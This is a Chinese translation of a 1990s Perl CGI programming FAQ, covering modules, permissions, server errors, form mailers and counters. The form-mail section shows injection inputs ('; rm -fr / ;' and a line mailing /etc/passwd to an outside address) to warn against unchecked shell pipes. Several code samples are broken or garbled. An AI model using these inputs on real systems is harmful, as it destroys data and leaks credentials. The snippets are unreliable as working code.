中文版 Perl CGI 程式写作常问问题集

中文版 Perl CGI 程式写作常问问题集

版本: 1.0
原文作者:
Shishir Gundavaram <shishir@ora.com>;
Tom Christiansen <tchrist@perl.com>;
文体说明:

译者已就原文中语焉不详、资讯过时,或可作额外补充之处附加注解。这些注解均 以星号 (*) 於适当处(通常为句尾)标示。实际的说明文字则大多紧邻星号所在 的段落,自成一段。所有注解文字均以「【译者】」起头。
范例中的 Perl 程式码已由译者适度加以翻译、去除多馀的括弧,并依 perlstyle manpages 中所建议的写作格式及习惯稍作修整。


--------------------------------------------------------------------------------
1.0 - 入门简介 
Q1.1: 为什麽我的 HTML page/form 需要用 script? 
Q1.2: CGI 各代表什麽? 
Q1.3: 到底什麽叫 script?我能拿它来能做什麽? 
Q1.4: 什麽是 Perl?为什麽有那麽多人用它来做 CGI? 
Q1.5: 有没有教 CGI 或 Perl 的书或是线上资料? 
Q1.6: 是不是有这方面的邮递论坛 (mailing lists) 或新闻讨论群组? 
Q1.7: 网路上是不是有专门收藏邮递论坛或新闻讨论群组的 posts 的站? 
2.0 - Modules (模组) 
Q2.1: 我是不是该用 Perl CGI modules 来写 CGI scripts ?自己做不是比较容易吗? 
Q2.2: 如何知道某个 module 该怎麽个用法? 
Q2.3: 有哪些 Perl4 的 CGI 或 WWW的 libraries ? 
Q2.4: 有哪些给 Perl5 使用的 CGI modules?我该用哪个?为什麽? 
Q2.5: 为什麽这麽多 perl CGI libraries 都是 object-oriented (物件导向)的?我对用物件导向来写程式一窍不通。难道就没有简单一点,给不会物件导向的人使用的 libraries 吗?物件导向有多难? 
3.0 - CGI 与 WWW Server 
Q3.1: 我的 Perl CGI 程式要放在哪里执行?cgi-bin 这个目录是做甚麽用的? 
Q3.2: 什麽是档案使用权限?怎样改? 
Q3.3: Perl 应该安装在哪里才可以执行它? 
Q3.4: 我为什麽一直得到 ``Server: Error 500'' 的讯息? 
Q3.5: 我试着打开一个档案,想把资料储存在里头,但是 open() 的指令失败了。到底是怎麽搞的? 
4.0 - 程式设计疑难杂症 
Q4.1: 我想让 user 填的 form 资料自动寄给我,该怎麽做?有没有范例? 
Q4.2: 刚才这个用 form 送信的 script 看起来有点难。为什麽不乾脆用 ``mailto: URL'',这样 user 填入的资料就可以寄给我了? 
Q4.3: 我要如何在 UNIX 以外的平台上做 Perl-CGI,譬如 Mac、MS-DOS、 Windows 及 NT?我的 Perl CGI 程式能不能在这些平台之间互相移植呢?能不能 很直接,没有麻烦?我在 UNIX 主机上有帐号,但是都是先在 Windows/Mac 上做。 我要如何在我自己的机器上测试写好的 CGI scripts? 
Q4.4: 在 Perl CGI 程式中,STDERR (标准错误讯息)、STDIN (标准输入),和 STDOUT (标准输出) 各是连到何处? 
Q4.5: 如何写计数器? 
Q4.6: 要如何用一个 Perl 的取代指令将所有 HTML 标签从一份文件中删除? 
Q4.7: 要如何知道是谁/哪台机器/哪个浏览器执行了我的程式? 
Q4.8: 人家看得到我的 Perl CGI 程式吗?如果是这样的话,那不就让他们知道我的程式是怎麽运作的了。这是个安全漏洞吗?我要怎麽把它隐藏起来? 
Q4.9: 我需要将整个 Perl library 都复制到我的 htdocs 目录底下吗? 
Q4.10: 我为什麽不该叫使用者输入他们的密码或身份证字号或信用卡号码?有一个 TYPE="password" 不是就是拿来做这个的吗? 
Q4.11: 我要如何产生专门替 Netscape 设计的网页,以别於世上其他的浏览器? 
Q4.12: 为什麽我的 system() 所产生的资料输出顺序不对? 
Q4.13: 我听说 Netscape 会支援 Java。这是不是说 我现在得弃 Perl,改Java 了?是不是该这麽做? 
Q4.14: 我要如何读取环境变数?为什麽它们有时候会不一样? 
Q4.15: 为什麽我输出的资料被搅乱了(如 ``b < a'' 会被破坏掉)? 
Q4.16: 为什麽我的Perl CGI 程式可以由指令列,却无法从浏览器去执行? 
Q4.17: 为什麽我的 Perl CGI 程式能跑,但是不会把资料写到档案中? 
Q4.18: 要如何做一个会维系状态,或允许【同一使用者】多次连线的 form? 
Q4.19: 如果不从浏览器去执行我的 CGI 程式,要如何替它除错? 
Q4.20: 如果不靠<FORM>;标签,要如何叫出 Perl CGI 程式? 
Q4.21: 要如何避免旁人不先填栏位就执行我的 form?他们为什麽一直不断这麽做? 
Q4.22: 那些 server 回应码 (server response codes) 是干什麽用的?有什麽意义? 
Q4.23: 为什麽 print "Location: http://host/page.html\n " 不 work?又为什麽它只 work 一次,但随後的转向就都弄错了呢? 
Q4.24: 要如何让 server 在每个 HTML 网页的底部都自动加上一个:「最近更新日期: .」的告示?或者,是不是只有 SSI 的网页才能这麽做?CGI 程式的日期要如何取 得? 
Q4.25: 什麽样的场合下以 Perl 写 CGI 程式会显得太小题大作,因为用 shell 就可以做到?而什麽样的场合对 Perl 来说又过於困难?用 C++ 做这类的事不是好得多吗?那用 C 呢? 
5.0 - 安全 
Q5.1: 以 Perl 写成的 CGI 程式是不是不如以 shell 或 C 写的来得安全? 
Q5.2: 我该特别留意哪些安全事项? 
Q5.3: 为什麽大家都说 http://bigidiot.abuse-me.com/perl.exe?foo.pl 这样很危险?会有多糟? 
Q5.4: 要如何在程式中安全地使用逆向撇号(backticks,"`")?这麽做:
@ans = `grep'$user_field' some.file`; 是不是真的不安全? 
Q5.5: /$user_variable/ 这个句法是不是 Perl 5 中的一个安全漏洞? 
版权事宜 

1.0 - 入门简介

--------------------------------------------------------------------------------

Q1.1: 为什麽我的 HTML page/form 需要用 script?
因为有的时候您需要在 HTML 文件中使用动态资料(非固定不变的资料)。 这包括了日期和时间这类的简单资料,或是一个显示「您是第 xxx 位访客」的计 数器。但它也可能包括根据使用者输入而得出的大饼图/条统图、资料库搜寻产 生的结果,或动画等这类的东西。要做出像这样的东西,您唯一的方法是使用 CGI scripts (尽管您也可以应用客户端程式,如 Java 和 JavaScript 来达到这个目 的,不过那又是完全不同的一回事!)。


--------------------------------------------------------------------------------

Q1.2: CGI 各代表什麽?
以下是我的编辑* Andy Oram 和 Linda Mui (他们很棒!)所写的一段非 常好的描述:

【译者】这是原文的第一作者 Shishir G. 指他所写的 CGI Programming on the World Wide Web 一书的编辑。

Common     向您确保 CGI 可以使用多种程式语言并和多种

----不同的系统互动。它让您自由选择达到目的的方

        法,不把您绑死在单独一种作法之下*。


Gateway     提示您 CGI 的力量不在於它本身所做的事,而

        在於它提供了连结其他系统的潜力,例如资料库

        和图形制造器。


Interface    只是表示 CGI 对如何善用其特性提供了明确的

----界定-换句话说,您可以设计程式来适当利用这

        个介面。


【译者】似乎有影射 Java 之意。

--------------------------------------------------------------------------------

Q1.3: 到底什麽叫 script?我能拿它来能做什麽?
简单的说,script 就是程式!好吧、好吧,应该说二者有语意上的差别。如果您 真的想知道,那麽去买一本电脑程式设计的书来看(或许该说 script 设计 )。

您可以藉着写 CGI 程式/script 变很多魔术。您可以即时制作图形、连结资料库 传回【查询】结果,还可以连到 Internet 上其他的 servers 去。


--------------------------------------------------------------------------------

Q1.4: 什麽是 Perl?为什麽有那麽多人用它来做 CGI?
答案就在 perl manpage 中的前叁行叙述:

Perl 是一解译式的语言,专为高效率检视文字档案 、从中抽取资料,据以印制 报表而设计。
绝大多数 CGI 应用程式的任务都涉及对资料作某种程度的处理,及连结外在程式。 Perl 恰好提供了好用的工具,让人轻松愉快地达成这些任务。


--------------------------------------------------------------------------------

Q1.5: 有没有教 CGI 或 Perl 的书或是线上资料?

NCSA 的 CGI 文件
Forms 入门指引
许多 CGI 资源结点
原始的 CGI FAQ
Perl FAQ
由 Lincoln Stein 所着,一份很完整的WWW 及 CGI 操作安全 FAQ
Paul Phillips 所着,CGI 安全 FAQ
WWW FAQ
【译者】此份 FAQ 的中译版可在 http://www.acer.net/document/cwwwfaq / 处取得。
以下是由 Cye H. Waldman 所整理的 CGI 和 Perl 书籍一览表*:

【译者】此表由译者更新,同时加入了原文作者 Tom C. 的 Perl 书评以供读者 参考。请注意:CGI 各书的等级评定乃单就其 Perl 部份的水准及正确性而言。符 号说明:(Tom C. 用骆驼而非星星)
五颗星(*****) ==>; 很棒的书 (terrific books) 
四颗星(****) ==>; 不错的书 (fine books) 
叁颗星(***) ==>; 像样的书 (decent books) 
两颗星(**) ==>; 马马虎虎、勉强过得去的书 (so-so books) 
一颗星(*) ==>; 差劲的书 (poor books) 
零颗星(0*) ==>; 大烂书 (terrible books) 
NA ==>; 不适用、无书评 (Not Applicable/Available) 
v4 ==>; 内容较老旧,仅含盖 Perl4 

作者 书名 评价 出版者 所附软体 售价(美金)
?? Cgi Programming For Dummies
(预定出版日期:1997年1月) NA IDG Books
$25
Jeffrey Friedl Mastering Regular Expressions: Powerful Techniques for Perl and Other Tools
(预定出版日期:1997年1月) NA O'Reilly
$30
J.M. Ivler CGI Developer's Resource
(预定出版日期:1997年3月) NA Prentice Hall 光碟 $45
Various authors Perl 5 Windows NT Programming
(预定出版日期:1997年1月) NA New Riders
$45
Eric Herrmann Teach Yourself CGI Programming with Perl 5 in a Week, 2nd Ed. NA Sams.net 光碟 $40
Mark Felton CGI: Internet Programming C++ & C
(预定出版日期:1997年3月) NA Prentice Hall
$??
Ed Tittle CGI Bible
(预定出版日期:1996年11月) NA IDG Books
$??
Craig Patchett &
Matt Wright The CGI Cookbook: Perl and JavaScript
(预定出版日期:1996年11月) NA Wiley 光碟 $40
Baron Weil Drag-n-Drop CGI
(预定出版日期:1997年1月) NA Addison-Wesley
$??
Stephen Lines How To Program CGI with Perl 5.0 NA Ziff-Davis 光碟 $40
Bob Denny et al. CGI Programming for Windows
(预定出版日期:1997年3月) NA O'Reilly 磁片 $30
Selena Sol &
Gunther Birznieks Instant Web Scripts with CGI/Perl NA MISress/M&T Books 光碟 $40
?? Perl For Dummies
(预定出版日期:1996年10月) NA IDG Books
$25
Steven E. Brenner &
Edwin Aoki CGI Web Scripting With Perl
(出版取消) NA MISress/M&T Books 光碟 $40
?? Perl & CGI Programming Starter Kit NA Sams.net
$45
Mohammed J. Kabir CGI Primer Plus for Windows NA Waite 光碟 $45
Ed Tittel et al. Foundations of WWW Programming with HTML and CGI, 2nd Ed.
(预定出版日期:1996年10月) NA IDG Books 光碟 $??
Jerry Muelver Creating Cool Web Pages With Perl ** IDG Books 光碟 $30
John December HTML & CGI Unleashed, Professional Reference Edition NA Sams.net 光碟 $50
Eric Johnson Cross-Platform Perl
(See also the author's book site.)
(预定出版日期:1996年9月) **** MISress/M&T Books 光碟 $35
Daniel Berlin et al. CGI Programming Unleashed NA Sams.net
$55
Clinton Wong Web Client Programming in Perl
(预定出版日期:1997年3月) NA O'Reilly
$30
Robert Seymour Perl 5
(预定出版日期:1996年10月) NA Springer-Verlag
$40
M he Foghl /TD>; Perl 5 Quick Reference * Que
$20
Robert Niles &
Jeffry Dwight CGI by Example NA Que 光碟 $35
Jonathan Hagey PC Magazine Programming Perl 5.0 CGI Web Pages for Microsoft Windows NT 0* Ziff-Davis 光碟 $35
?? Web Programming with Perl
(预定出版日期:1996年8月) NA Sams.net 光碟 $40
?? Perl 5 Developer's Guide
(预定出版日期:1996年12月) NA Sams 光碟 $60
David Medinets Perl 5 by Example **+1/2* Que 光碟 $35
Stephen Asbury et al. CGI How-To NA Waite 光碟 $40
Carl Franklin Visual Basic Internet Programming
(预定出版日期:1996年5月) NA Wiley 光碟 $40
InfoMagic Mother of Perl
(一套两张光碟) NA SSC 光碟 $35
Larry Wall et al. Programming Perl, 2nd Ed. ***** O'Reilly
$40
Eugene Kim CGI Developer's Guide
(预定出版日期:1996年5月) ** Sams.net 光碟 $50
Robert McDaniel CGI Manual of Style
(可自线上取得) NA Ziff-Davis
$25
?? Perl 5 for Dummies
(预定出版日期:1996年) NA IDG Books 光碟 $??
Ginsburg &
Tall Developing Internet Applications with Perl
(预定出版日期:1996年3月) NA Sams.net
$??
Kamran Husain Perl 5 Unleashed * Sams 光碟 $50
Norton Teach Yourself Perl 5, 2nd Edition
(预定出版日期:1996年6月) NA Sams 光碟 $??
Michael Erwin et al. Special Edition Using CGI NA Que
$60
Thomas Boutell CGI Programming in C and Perl **** Addison-Wesley 光碟 $35
Johan Vromans Perl 5 Desktop Reference NA O'Reilly
$7
Christian Neuss &
Johan Vromans The Webmaster's Handbook: Perl Power for Your Web Server NA Int'l Thomson 光碟 $30
William E. Weinman The CGI Book NA New Riders 光碟 $45
Brian Jepson World Wide Web Database Programming for Windows NT NA Wiley 光碟 $40
Steven E. Brenner &
Edwin Aoki Introduction to CGI/ Perl ***(v4) MISress/M&T Books
$20
Ed Tittel &
Sebastion Hassinger Perl 5 Programming Secrets
(预定出版日期:1996年3月) NA IDG Books 光碟 $45
David Harlan et al. Special Edition Using Perl 5 for Web Programming
** Que
$50
Shishir Gundavaram CGI Programming on the World Wide Web ** O'Reilly 光碟 $30
Robert Farrel The Official 60 Minute Guide to CGI Programming with Perl ***(v4) IDG Books
$20
Ed Tittel &
Sebastion Hassinger Web Programming Secrets with HTML, CGI & Perl NA IDG Books 光碟 $45
John Deep &
Peter Holfelder Developing CGI Applications with Perl **(v4) Wiley
$30
Jon Orwant Perl 5 Interactive Course *** Waite 光碟 $50
Aidan Humphreys et al. Perl 5 How-To *** Waite 光碟 $45
Eric Herrmann Teach Yourself CGI Programming with Perl in a Week ***(v4) Sams.net 光碟 $40
Walnut Creek Perl
(收录各类资源、档案库、入门指导、实例、source code 等) NA Walnut Creek 光碟 $40
Carl Dichter &
Mark Pease Software Engineering with Perl
(进阶级,内容针对软体专业人仕设计;非入门指引) * Prentice Hall 磁片 $30
Ellie Quigley Perl by Example ***(v4) Prentice Hall
$27
John December &
Mark Ginsburg HTML & CGI Unleashed NA Sams.net 光碟 $50
David Till Teach Yourself Perl in 21 Days **(v4) Sams
$30
Larry Wall &
Randal L. Schwartz Programming Perl NA O'Reilly
$30
Randal L. Schwartz Learning Perl ****(v4) O'Reilly
$25
Ed Tittel et al. Foundations of WWW Programming with HTML and CGI NA IDG Books 光碟 $40
Lincoln Stein How To Set Up and Maintain a World Wide Web Site, 2nd Edition
(预定出版日期:1997年1月) **** Addison-Wesley 光碟 $55


【译者】中文的 CGI 和 Perl 的书目则尚待好心的读者提供。


--------------------------------------------------------------------------------

Q1.6: 是不是有这方面的邮递论坛 (mailing lists) 或新闻讨论群组?
每天有无数的 CGI 高手在「监视」着这个很有用的新闻讨论群组: comp.infosystems.www.authoring.cgi*。

【译者】中文的讨论群中最适合做这方面的讨论的大概要算是 tw.bbs.comp.www 了。还有,请不要将 CGI 问题 post 到 comp.lang.perl.misc 上头去,别说译者没先警告您喔 。
但是,除非您先把 FAQ 读过一遍,否则您不应该到这个版子上去随便 post 问题 (或其他任何版子;同样的道理)。

网路上有各式各样 讨论 Perl、CGI,及 Web 的邮递论坛,但以底下这两个最受欢迎:


cgi-perl-request@webstorm.com 【Hypermail 档案库】

这个论坛是给发展 Perl5 CGI 模组、或对此有兴趣的人用的。它并不提 供任何 CGI 支援*。
【译者】此 mailing list 已经数月没有 posts ,寿终正寝了。这可能是由於 讨论的主题-CGI::* 模组套件(详见以下第二篇「Modules (模组)」的说明) 已经有好一段时间没有更新了。模组的维护人 Lincoln Stein 近一年多来似乎都 将重心放在他的 CGI.pm 上,而 CGI.pm 也取代了 CGI::* 这个套件的地位。读者 如对 CGI::* 或 CGI.pm 有问题的话可写到 comp.lang.perl.modules 上头去。

libwww-perlrequest@ics.uci.edu 【Hypermail 档案库】

libwww-perl 这个 library 套件为 Web 客户及伺服程式设计提供了一套简便的介面*。
【译者】此 mailing list 不适合做 CGI 的讨论。libwww-perl 是一项以 Perl 为发展工具、类似 W3C/CERN 的 libwww 的计画(後者用的是 C)。

您可以在:
http://www.ics.uci.edu/pub/websoft/libwww-perl取得旧的 (Perl4) libwww-perl 的相关资料。

最新的 Perl5 libwww 套件可在:
http://www.sn.no/~libwww-perl/ 处取得。

CPAN: Perl 模组同时也可以在多重复制、分散式的 CPAN 系统取得。 这会自动替您选择一个「靠近您的站」。譬 如说,您可以抓 LWP 模组的 source 或只抓它的 readme。


--------------------------------------------------------------------------------

Q1.7: 网路上是不是有专门收藏邮递论坛或新闻讨论群组的 posts 的站?
是的,您可以试试 The Usenet Newstand。所有comp.infosystems.www.* 讨论群组的文章都收集在那 儿*。同时,cgi-perl 及 libwww 这两个邮递论坛他们也有收集。


【译者】您同时可以试试 DejaNews 、 AltaVista ,和 HotBot 这几个搜寻引擎/资料库。 DejaNews 甚至连 tw.bbs.* 都收集 (其他两个或许也有,但译者没试过)。


--------------------------------------------------------------------------------

2.0 - Modules (模组)

--------------------------------------------------------------------------------

Q2.1: 我是不是该用 Perl CGI modules* 来写 CGI scripts ?自己做不是比较容易吗?
【译者】 CGI modules 在此指 CGI.pm 及其他 CGI::* 的模组;详见 Q2.4 。
这完全取决於您要做的是什麽。CGI modules 较适合重量级的 CGI scripts 。如 果是简单的 scripts 的话,自己做或者是用 CGI Lite 这个模组会简便许多。如 果您真的愿意,您甚至可以用旧的 Perl4 cgi-lib.pl 这个 library*。

【译注】 作者 Tom C. 之所以这麽说是因为他基本上不赞成使用cgi-lib.pl ,有 兴趣的读者可以看他写的 Why I am not fond of cgi-lib.pl (为什麽我不欣赏 cgi-lib.pl )。


--------------------------------------------------------------------------------

Q2.2: 如何知道某个 module 该怎麽个用法?
大多数 modules 的使用说明是直接嵌在 程式里的*。 如果是这样的话,您可以用 pod2man 这个 script 来阅读使用指南:

% pod2text name_of_module.pm
% pod2man name_of_module.pm | nroff -man | more

【译注】如果您在 *.pm 档中看到 ``=head1''、``=cut'' 这类的东西便是显示使 用说明有附在里头。这是 Larry Wall 设计的 POD (Plain Old Document) 格式。 详见 perlpod manpages。


--------------------------------------------------------------------------------

Q2.3: 有哪些 Perl4 的 CGI 或 WWW的 libraries ?
最广为使用的 Perl4 CGI library 是 Steve Brenner 的 cgi-lib.pl。


--------------------------------------------------------------------------------

Q2.4: 有哪些给 Perl5 使用的 CGI modules?我该用哪个?为什麽?


CGI.pm*
这个很棒的 module 在功能上和部分 CGI::* modules 相重叠。如果您不想和多重 modules 打交道的话,您可以只用这一个。我们等一下在後头会给您看一个用 CGI.pm 来替 CGI scripts 除错的实例。
此外,Lincoln (Lincoln Stein;CGI.pm 的作者)还写了一本讨论 Web 和 CGI 非常好的书,叫 How To Set Up and Maintain a World Wide Web Site。

【译者】 建议读者多使用 CGI.pm 。CGI::* 已经有很长一段时间没有更新了,而 CGI.pm 则不断的有改良的新版推出,并已加入对 FastCGI 的支援,因此对 FastCGI 的使用 者也相当方便。此外,mod_perl (Apache 的 perl module)中所附的 CGI::XA,也是由 CGI.pm 改进而来的。 CGI.pm 让使用者免除自己做低阶资料处理 (如印 HTTP 标头、替 form, cookies 资料解码等)的麻烦。

CGI::* 模组套件
这些模组原先大多是由 Tim Bunce 所写,现在则由 Lincoln Stein 来负责 维护。它们的功能包括了帮您产生及处理 form ,替 CGI 程式除错,以及在不同的 forms 之间维系一个状态值。

CGI Lite
这个轻量级的 module 是 CGI::* modules 之外的另一个选择。它可算是在老旧的 cgi-lib.pl 之上改良、加料後的产物。

以上叁者均有能力处理 multipart form 资料(即上传)。


--------------------------------------------------------------------------------

Q2.5: 为什麽这麽多 perl CGI libraries 都是 object-oriented (物件导向)的?我对用物件导向来写程式一窍不通。难道就没有简单一点,给不会物件导向的人使用的 libraries 吗?物件导向有多难?
其实使用物件导向的 modules 并不难。先去看看 Tom Christiansen 的 Easy Intro to Using Perl Objects (简单介绍如何使用 Perl 物件)吧。

前头提到的 CGI modules 用起来真的是很容易!这里有一个用 CGI Lite 印出 form 资料的实例*:

【译者】CGI.pm 的使用说明中有更多范例可供参考。


#!/usr/local/bin/perl -w


use CGI_Lite;


$cgi = new CGI_Lite;

%data = $cgi->;parse_form_data;


print "Content-type: text/plain", "\n\n";


foreach $key (keys %data) {

  print $key, " = ", $data{$key}, "\n";

}


exit 0;


要注意的是,即使您机器上的 Perl 不是您装的(您不是系统管理者),或是您权限不 够无法将这些 modules 和其他的 Perl library 档案安装在同一个地方,您还 是可以使用这些 modules 的 -- 只要将它们摆在一个自己方便的地方,然後在 您的 script 开始处加上*:

BEGIN {

  unshift @INC, "/your/dir/favorite/place";

}


【译者】建议改用较新的方式:

use lib qw(/your/dir/favorite/place);


好。以下是一个用到 CGI::* modules 的例子:

#!/usr/local/bin/perl -w


use CGI::Form;


$cgi_form = new CGI::Form;


print <<'End_of_Header';

  <HTML>;

  <HEAD>;<TITLE>;看着我做!</TITLE>;</HEAD>;

  <BODY>;

  <H1>;看着我做!</H1>;

End_of_Header


print $form->;startform;


## 产生一个单行输入栏位 (text field)


print '姓名: ';

print $form->;textfield('name'), "
;\n";


## 产生一组单选按纽 (radio buttons)


print '<>;您住哪儿:
;';

print $form->;radio_group(-name   =>; 'where',

             -values  =>; ['北美洲',

                    '南美洲',

                    '欧洲',

                    '澳洲',

                    '亚洲',

                    '南极洲'],

             -default  =>; '北美洲',

             -linebreak =>; 'true');


## 产生一个多行输入栏位 (textarea)


print '意见: ';

print $form->;textarea('comments', undef, 5, 40);


print "<>;";

print $form->;reset;

print $form->;defaults;

print $form->;submit('送出!', 'Submit');

print $form->;endform;


print "</BODY>;</HTML>;";


reset、defaults,及submit叁种方法( methods ) 会产 生不同的类型的按钮。reset 这个按钮让您把目前 form 栏位中所填的资料洗掉, 并显示属於上一个状态(或回合)的资料。 defaults 这个按钮则是将form 栏位 资料彻底洗去。还有 submit 这个方法产生一个送出钮以便让人将资料送至 server 处。

您看,不是很容易吗?


3.0 - CGI 与 WWW Server

--------------------------------------------------------------------------------

Q3.1: 我的 Perl CGI 程式要放在哪里执行?cgi-bin 这个目录是做甚麽用的?
server 通常是设定成去执行放在 ``cgi-bin'' 目录底下的 CGI 程式。不过, server 管理者同时也可以在设定档中设定 aliases,让所有含某些副档名(如 .cgi、.pl)的 scripts 都能执行*。

【译者】设定 CGI aliases 和副档名固然很方便,但 server 管理者须注意到相 关的安全问题。


--------------------------------------------------------------------------------

Q3.2: 什麽是档案使用权限?怎样改?
档案权限是根据使用者识别代号(又称 uid),以及他们所属的团体来决定是否赋 与使用者读、写,和执行某档案的权利。您可使用 chmod 这个指令去修改档案的 使用权限。例如:

% ls -ls form.cgi


 1 -rwx------ 1 shishir    974 Oct 31 22:15 form.cgi*


此一档案的权限为 0700(八进制),意味着没有人(档案所有人除外)能够读取、 写进,或执行这个档案。我们可以用 chmod 这个指令去修改它的权 限:


% chmod 755 form.cgi

% ls -ls form.cgi


 1 -rwxr-xr-x 1 shishir    974 Oct 31 22:15 form.cgi*


这样一来,权限就变了。现在和 ``shishir'' 在同一个团体的使用者,还有其他 任何的使用者都有权利去读取和执行这个档案了。
如欲知 chmod 指令各八进制数码所代表的含意,请参阅 chmod manpages的说明。


--------------------------------------------------------------------------------

Q3.3: Perl 应该安装在哪里才可以执行它?
Perl 可以安装在系统上任何一个角落!您唯一要注意的是 server 不能在chroot 的环境下跑,否则它便无法跑 perl 解译器。换言之,系统管理者可以把根目录 改变,让 ``/'' 指到另一个目录,而不是实际真正的根目录(``/'')。


--------------------------------------------------------------------------------

Q3.4: 我为什麽一直得到 ``Server: Error 500'' 的讯息?
以下几种情形会触发这个错误讯息:

如果 script 开头的地方没有 ``#!/usr/local/bin/perl'' 这个指到 Perl 解译器的标头,或者是指到解译器(或 library 档)的路径错误。
如果 script 输出的第一行是一个不正确的标头(即 ``Content-Type: text/html'' ),或者是该标头後面没有跟着一个空行。
如果您的 script 有句法上的错误。您的 scripts 都应在指令列先跑跑看才 是。


--------------------------------------------------------------------------------

Q3.5: 我试着打开一个档案,想把资料储存在里头,但是 open() 的指令失败了。到底是怎麽搞的?
一般说来,HTTP server 是以 ``nobody''、``www'',或其他这类权限低的使用 者的身份来跑的。因为这个缘故,您打算在其中制造新档案的目录,对 server 跑的 使用者 ID 必须要是可写(writable)才行。

为了确定起见,您每次都应该先检查 open 这个指令送回的结束状态(return status),看看 open 有没有成功。


open(FILE, "/abc/data.txt"

  || error("Could not open file /abc/data.txt";


--.

--.--

--.


sub error {

  my($message) = @_;

--

  print <<End_of_Error;

Content-type: text/html

Status: 500 CGI Error


<HTML>;

<HEAD>;<TITLE>;CGI Error</TITLE>;</HEAD>;

<BODY>;

<H1>;Oops! Error</H1>;

<HR>;

$message

<HR>;

</BODY>;

</HTML>;


End_of_Error

}


4.0 - 程式设计疑难杂症

--------------------------------------------------------------------------------

Q4.1: 我想让 user 填的 form 资料自动寄给我,该怎麽做?有没有范例?
其实做这个很容易。您的 CGI script 必须能做到这两件事:

将 form 中的资料整理出来。别忘了,所有的 form 资料都会被 URL-编码起来 (先不考虑 Netscape 2.0 【及 2.0 以上所支援】的 multipart MIME资料)。
开一个管路 (pipe) 到 mail (或 sendmail ),然後把 form 资料写过去。
我们就假设您用的是 CGI::* 模组。您可用以下的方法去叫 sendmail:


$cgi_form = new CGI::Form;


$from   = $cgi_form->;param('from');

$name   = $cgi_form->;param('name');

$to    = $cgi_form->;param('to');

$subject = $cgi_form->;param('subject');

$message = $cgi_form->;param('message');


open SENDMAIL, "| /usr/bin/sendmail -t -n";

print SENDMAIL <<End_of_Mail;

From: $from <$name>;

To: $to

Reply-To: $from

Subject: $subject


$message

End_of_Mail


有一个该注意的地方是 ``Reply-To:'' 的信头。由於 server 是以 ``nobody''这 个使用者的身份来跑,信头的地方可能会被搞坏(尤其是当有人想回这封信的时後)。 加上 ``Reply-To'' 的信头这个问题便解决了。
网路上有许多的 mail 渠道 (gateway)* 是以底下这种方法来送 mail:

【译者】gateway 在此指送 email 的 CGI 程式

open MAIL, "| mail -s 'Subject' $to";


                 ^

                 |

                 +-- 可能会出问题的漏洞!!!


如果您没有先检查看 $to 这个变数有没有内含 shell 的特殊符号 (metacharacters),您是在自讨苦吃!譬如,如果哪个恶劣的 user 输入了以下的资 料:
; rm -fr / ;
那麽您的麻烦可大了*。
【译者】这里头的 ``;'' 便是一个危险的 shell metacharacter。另一个危险的符号是 ``&''。
在这个假想的情况中,有多少个档案会被远方的 user 给杀掉,还得视 server 跑的使用者的权限而定(这就是为什麽 server 要以低权限使用者身份跑的原因)。 至少那些由 CGI 程式制造出来,但又没有备份的档案,是真的要跟它们永别了。

; mail joe@crackerland.org </etc/passwd


那您的 CGI script 就替您把 /etc/passwd 给拱手送上了。这对一个「未加工」的 Linux、SunOS 4.1,还有其他任何没安装 shadow-password 的 UNIX 系统来说, 实在不太好玩。如果 server 错误地跑了 root,那麽就算装了 shadow-password 也没有用,因为远方的 cracker 甚至可以让这个 CGI 的 email script 给他送 /etc/shadow (视系统而定,不一定在 /etc 底下或叫这个名字)。


--------------------------------------------------------------------------------

Q4.2: 刚才这个用 form 送信的 script 看起来有点难。为什麽不乾脆用 ``mailto: URL'',这样 user 填入的资料就可以寄给我了?
很不幸地,mailto: 的指令并不是所有的浏览器都支援。如果您在档案中用了它的话, 会限制了那些使用没有支援 mailto: 的浏览器的人,让他们无法送 mail 给您*。

【译者】尽管如此,您或许不会在乎那占极少数比例的使用者(Netscape 、 IE, 和 lynx 等浏览器都支援 mailto: )。


--------------------------------------------------------------------------------

Q4.3: 我要如何在 UNIX 以外的平台上做 Perl-CGI,譬如 Mac、MS-DOS、 Windows 及 NT?我的 Perl CGI 程式能不能在这些平台之间互相移植呢?能不能 很直接,没有麻烦?我在 UNIX 主机上有帐号,但是都是先在 Windows/Mac 上做。 我要如何在我自己的机器上测试写好的 CGI scripts*?
Perl 已经被移植到上述所有的平台上了。因此,您的 Perl CGI 程式照理应不难 移植。但如果您使用到一些 UNIX 上的程式,那麽您的程式可能会不好移植。如果 您只是做资料处理,或开启、读进档案等的话,那麽移植应该不会有问题。


【译者】原 FAQ 并未回答最後这个问题。要在 Windows/OS2/Mac 等非 UNIX 平台 上测式您的 scripts ,您可以使用 CGI.pm (支援以上所有平台),配合 Q4.19 中提示的除错技巧 ,或在自己的机器上安装 HTTP server 软体。如此就不用辛苦的连上主机去测式了。


--------------------------------------------------------------------------------

Q4.4: 在 Perl CGI 程式中,STDERR (标准错误讯息)、STDIN (标准输入),和 STDOUT (标准输出) 各是连到何处?
在 CGI 环境下,STDERR 会指向 server 的 错误讯息档 (error log)。您可以善 加利用这个特性,把除错的讯息写到 STDERR,然後您便可藉查看错误讯息档来帮 您除错。

STDIN 和 STDOUT 则都和浏览器相连。实际上,STDIN 连的是 server。 server 会先解读 client (或浏览器)送出的请求和资料,再将其送给 script。

您也可以用将 STDERR 「复制」到 STDOUT 的方法来抓错误讯息。这应该在 script 靠前头的地方做(但应在您输出合适的 HTTP 标头之後):


open STDERR, ">;&STDOUT";


这会将所有的错误讯息都转送到 STDOUT (即浏览器) 去。


--------------------------------------------------------------------------------

Q4.5: 如何写计数器?
计数器一类的程式相当流行。其实计数器的原理很简单,不过是:

用一个档案去储存资料。
每当有人光临网站,增大档案中所计的数字。
以下是一个简单的计数器的实例:


#!/usr/local/bin/perl -w


$counter = "/home/shishir/counter.dat";

print "Content-type: text/plain", "\n\n";


open(FILE, $counter) || die "Cannot read from the counter file.\n";

flock FILE, 2;

$visitors = <FILE>;;

flock FILE, 8;

close FILE;


open(FILE, ">;$counter" || die "Cannot write to counter file.\n";

flock FILE, 2;

print FILE $visitors;

flock FILE, 8;

close FILE;


现在您可以在 HTML 档案中用 SSI (Server Side Include; 伺服端插入)* 的方式来显示该计数器:
【译者】SSI 是 server 所提供的一项功能,可将动态资料,例如日期和时间,或 计数器显示等,在客户请求一网页时即时加入该文件中。支援 SSI 的 servers 包 括了 NCSA、Apache,和Netscape Enterprise Server 等。 SSI 固然是一项便利的设计,但如过份滥用 ,不但会减低 server 性能,更可能招来安全上的危机。

您是第


--------------------------------------------------------------------------------

